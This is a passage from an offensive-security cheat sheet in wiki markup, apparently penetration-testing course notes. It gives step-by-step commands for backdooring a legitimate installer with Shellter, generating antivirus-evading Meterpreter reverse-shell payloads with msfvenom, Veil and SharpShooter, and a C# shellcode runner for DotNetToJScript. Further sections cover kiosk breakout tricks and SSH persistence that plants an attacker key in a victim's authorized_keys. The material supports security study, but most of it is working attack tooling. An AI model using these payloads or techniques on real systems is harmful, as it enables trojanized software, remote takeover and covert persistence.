&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
